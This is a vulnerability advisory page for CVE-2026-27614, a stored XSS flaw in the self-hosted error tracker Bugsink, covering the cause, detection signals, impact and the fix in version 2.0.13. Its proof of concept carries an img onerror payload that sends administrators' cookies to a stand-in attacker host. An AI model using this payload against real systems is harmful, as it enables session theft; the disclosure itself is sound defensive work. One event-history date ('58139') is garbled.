CVE-2026-27614: Bugsink is vulnerable to Stored XSS via Pygments fallback in stacktrace rendering

Published Feb 25, 2026
·
Updated

Summary

An unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI.

Details

When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), pygmentizelines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. marksafe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event.

python issues.py:75-77 - fallback path, no escaping if len(pygmented) != len(lines): return lines # raw HTML returned here

issues.py:111-113 - unconditional marksafe return [marksafe(line) for line in result]

Operational Signals

Exploitation attempts are likely to generate the diagnostic event:

"Pygments line count mismatch, falling back to unformatted code"

Installations that monitor Bugsink with Bugsink (or otherwise alert on internal errors) may see this message as an issue. While the condition can occur benignly, unexpected occurrences, especially from unusual languages (specifically ruby), warrant review.

PoC

Send a Sentry event to /api/<project-id>/store/ with a valid DSN:

python import requests

payload = { "exception": {"values": [{"stacktrace": {"frames": [{ "filename": "app.rb", "lineno": 2, "precontext": ["<<~HEREDOC", " foo", "HEREDOC"], "contextline": "<img src=x onerror=fetch('//attacker/?c='+document.cookie)>", "postcontext": [] }]}}]} }

requests.post( "http://bugsink-host/api/<project-id>/store/", json=payload, headers={"X-Sentry-Auth": "Sentry sentrykey=<dsn-public-key>, sentryversion=7"} )

Open the event in the bugsink UI as any admin. Cookie exfiltrates immediately.

Impact

This is a stored XSS vulnerability.

Successful exploitation requires:

The attacker can submit events to the project (i.e. knows the DSN or can access a client that uses it). The Bugsink ingest endpoint is reachable to the attacker. An administrator explicitly views the crafted event in the UI.

Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink.

Other sources

Bugsink is a self-hosted error tracking tool. In versions prior to 2.0.13, an unauthenticated attacker who can submit events to a Bugsink project can store arbitrary JavaScript in an event. The payload executes only if a user explicitly views the affected Stacktrace in the web UI. When Pygments returns more lines than it was given (a known upstream quirk that triggers with Ruby heredoc-style input), pygmentizelines() in theme/templatetags/issues.py:75-77 falls back to returning the raw input lines. marksafe() at line 111-113 is then applied unconditionally - including to those unsanitized raw lines. Since DSN endpoints are public by Sentry protocol, no account is needed to inject. The payload sits in the database until an admin looks at the event. Successful exploitation requires that the attacker to be able to submit events to the project (i.e. knows the DSN or can access a client that uses it), the Bugsink ingest endpoint is reachable to the attacker, and an administrator explicitly views the crafted event in the UI. Under those conditions, the attacker can execute JavaScript in the administrator’s browser and act with that user’s privileges within Bugsink. Version 2.0.13 fixes the vulnerability.

— MITRE

Affected Software

3 affected componentsFixes available
Bugsink Bugsink<2.0.13
pip/bugsink<=2.0.12
2.0.13
Bugsink Bugsink<2.0.13

Event History

Feb 25, 2026
CVE Published
via MITRE·02:31 AM
Data Sourced
via MITRE·02:31 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·04:06 PM
Data Sourced
via GitHub·04:06 PM
DescriptionSeverityWeaknessAffected Software
Oct 1, 58139
Event
via FIRST·04:40 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-27614?

CVE-2026-27614 is classified as a high-severity vulnerability due to its potential for stored XSS attacks.

2

How do I fix CVE-2026-27614?

To fix CVE-2026-27614, upgrade Bugsink to version 2.0.13 or later.

3

Who is affected by CVE-2026-27614?

Users of Bugsink versions prior to 2.0.13 are affected by CVE-2026-27614.

4

What type of attack is facilitated by CVE-2026-27614?

CVE-2026-27614 facilitates stored cross-site scripting (XSS) attacks through malicious JavaScript embedded in event submissions.

5

Can an unauthenticated attacker exploit CVE-2026-27614?

Yes, an unauthenticated attacker can exploit CVE-2026-27614 by submitting malicious events to a Bugsink project.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203